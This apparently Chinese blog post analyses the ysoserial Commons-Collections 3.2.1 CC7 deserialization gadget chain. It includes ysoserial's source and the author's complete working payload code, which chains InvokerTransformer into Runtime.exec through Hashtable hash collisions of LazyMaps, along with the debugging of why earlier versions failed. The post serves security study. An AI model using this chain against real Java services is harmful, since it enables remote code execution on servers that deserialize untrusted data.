前言

YsoSerial Common-Collection3.2.1 反序列化利用鏈終於來到最後一個,回顧一下:

  1. 以InvokerTranformer為基礎通過動態代理觸發AnnotationInvocationHandler裡面的Invoker方法呼叫LazyMap get方式的CC1
  2. 以TemplatesImpl為基礎,通過TrAXFilter、InstantiateTransformer組合繫結LazyMap動態代理觸發AnnotationInvocationHandler#Invoker方法方式的CC3
  3. 在CC1 Lazymap的基礎上進一步包裝成TiedMapEntry,並以BadAttributeValueExpException呼叫TiedMapEntry#toString方法的CC5
  4. 在CC5基礎上將觸發換成HashMap呼叫hashCode方式的CC6

呼叫棧

接下來先看下cc7的程式碼

public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)}; Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy"); return hashtable;
}

抓一下呼叫棧,可以看到依次呼叫的是Hashtable#reconstitutionPut,AdstractMap#equals方法。然後呼叫LazyMap的get方法。

其實呼叫鏈出來後一切都索然無味了,但我們還是要分析下呼叫鏈各個環節的一些關鍵點,首先看下Hashtable的readObject方法原始碼:

首先從序列化資料裡面讀取了elements,然後for迴圈便利elements次讀取序列化裡面的key、value值,這個elements和key、value分別是什麼東西呢,找到writeObject尋找答案:

寫入了類變數count、然後迭代分別寫入了類變數table中entry的key、value,其實就是hashtable中的key、value,只不過內部實現是通過entry連結串列實現,然後跟進reconstitutionPut, 這裡有個key的關鍵方法e.key。equals,結合前文我們分析過TiedMapEntry的equals可以觸發Lazymap的get進而RCE,其實直接使用TiedMapEntry#equal也是可以觸發的,這裡就不展開TiedMapEntry吧,沒啥太大的意義,就按照Ysoserial作者思路來。

挖掘利用鏈

前面文章介紹了LazyMap#Get()方法觸發RCE的方法,來回憶下LazyMap觸發的呼叫鏈,當LazyMap呼叫get方法是,回去尋找繫結LazyMap中的是否存在key,不存在就通過transform方法去生成,而這個transformer是惡意的,那就觸發命令執行:

其實下一步就放在有誰能夠呼叫lazyMap的get方法,除開之前介紹的tiedMapEntity之外,還有LazyMap本身也能呼叫,在LazyMap繫結的是HashMap的情況下,呼叫LazyMap#equals其實就是呼叫HashMap的介面AbstractMap的equal方法,可以使用IDEA的findUsage方法,也能查到呼叫:

那觸發的方法擴充套件到誰呼叫LazyMap的equal就好了,而這就和HashTable就繫結起來了,HashTable的readObject裡面就有觸發,但要滿足兩個條件:

  1. table[index] 不為null。
  2. 因為&&是從左向右執行,所以要e.hash等於當前實參key的hash。

首先分析下Hashtable#readObject 的整體邏輯,因為在Hashtable中實現邏輯的Entry物件被transient修飾,所以序列化的時候不能將table資料放到序列化資料裡面,所以在writeObject時會單獨寫入key、value,readObject時重新put進entry當中。table的數量通過類變數count控制。

在迭代第一次傳入key、value時tab始終為空,所以要呼叫到equal至少要迭代兩次,也就要求table中的元素大於等於2,且兩個元素的key的hash值要一樣,那在構造除開hash一樣,還要求equals執行為false,不然就會用新元素的value替換舊元素,這樣table總的size就只為1,無法觸發反序列化RCE。

尋找hashCode()一樣,但又不相等的元素

那真的存在這樣的兩個值嗎?答案當然是存在,以String為例,我們看一下String的hashCode演算法

核心邏輯就是:

h=31*h + val[i]

h初始值為0,將字串拆分為字元,每次對結果乘以31再累加,那可以確定相同的h值,肯定對應不同的val[i]解,比如aabB,看一下結果:

那是不是我們就找到了符合作為Hashtable的key了,其實不是,我們想要執行的其實是Lazy Map的hashcode一致,內部其實是map的hashcode,找一下hashmap的實現,對key做hashcode,然後異或上value的hashcode:

其實只要key的hashcode一樣,然後value一樣就能滿足,試驗下:

結果:

創造兩個元素的HashTable

在上面已經找到hash一樣的HashMap的前提下,繫結到LazyMap上,然後分別push進HashTable,然後進行反序列化:

 //        Hashtable
String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator"; System.out.println(System.getProperty("java.version")); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransfomer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer); Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); // 生成了LazyMap 不可反序列化的map
lazyMap1.put("aa",1); Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("bB",1); Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
String path = serialize(hashtable);
unserialize(path);

執行下,命令並沒有執行:

看樣子什麼地方出了問題,列印下Hashtable的size,發現size為1,說明第二次put的時候出了問題,除錯下發現問題出在了,AbstractMap上,因為我們為了避免序列化時執行命令將chainedTransfomer裡面的transfoemer陣列用constranTransfrom(1) 替代,命名為fakeTransfomer,而這個fakeTransformer執行後的結果為1,和hashtable的value1一致,所以會返回true。

hash和equl的判斷都為true,就會進入if分支,完成新舊變數替換,而不會新增元素,所以size始終為1

修改fakeTransfomer為一個空陣列,或者將hashTable的value為其他值,為了更通用這裡採用空陣列的方式:

Transformer[] fakeTransfomer = new Transformer[]{

        };
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

再次執行,程式碼還是沒有執行,列印size也是2,是滿足條件的,但為啥命令沒有執行呢,再次除錯,發現問題出在了equal的判斷上,equal的判斷要求首先要滿足兩個hashMap的元素數量一致才能進行下一步的判斷,而在put時也會執行equal,呼叫到m.get()方法,而m是一個LazyMap,在LazyMap#get() 方法存在一個特性,就是在繫結到HashMap沒有這個元素的時候,動態新增一個這個沒有的元素,

所以在LazyMap2進行put操作時,會去get(lazyMap1.key),lazyMap1的key為"aa",所以lazyMap2會多一個aa為key,aa為value的元素(transformer陣列為空時的執行結果),在put後列印下lazyMap2驗證下:

果然,因為兩個map Size的判斷在前面,這樣就不會執行後續進行RCE的get方法

所以,需要我們在第二次put後,把第二個hashmap進行remove一個key為aa的操作,完整程式碼:

//        Hashtable
String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator"; System.out.println(System.getProperty("java.version")); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransfomer = new Transformer[]{ };
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer); Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); // 生成了LazyMap 不可反序列化的map
lazyMap1.put("aa",1); Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("bB",1); Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("aa");
System.out.println(hashtable.size());
ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);
String path = serialize(hashtable);
unserialize(path);

執行一下,命令成功執行:

YsoSerial的程式碼幾乎一致僅就把我這裡的aa和aB替換成yy和zZ。

總結

這篇文章分析了下CC7的原理,本來上週五應該就能發出文章的,但是卻因為文中那個fakeTransfomer的原因一直被卡住,不知道問題出在哪裡,找了很多朋友看也沒看出問題,最終還是老老實實一步一步的除錯才發現問題,以前只關注transformer的構造,沒關注最終的返回,難搞~,期間也去學習了下Java的值傳遞型別和HashMap實現原理等,消耗了比較長的時間。

這是Common-collections 3.2.1的最後一條利用鏈分析,這個也是沒有版本依賴的,我用jdk1.8u261也是能夠執行的,總結下程式碼中關鍵點:

  1. 要找到兩個元素hashcode一樣,但euqal的結果又為false的hashmap。
  2. 使用fakeTransfomer時要關注返回滿足HashTable元素大雨等於2。
  3. 在第二次put過後要對第二個HashMap進行remove(remove第一個hashmap的key)。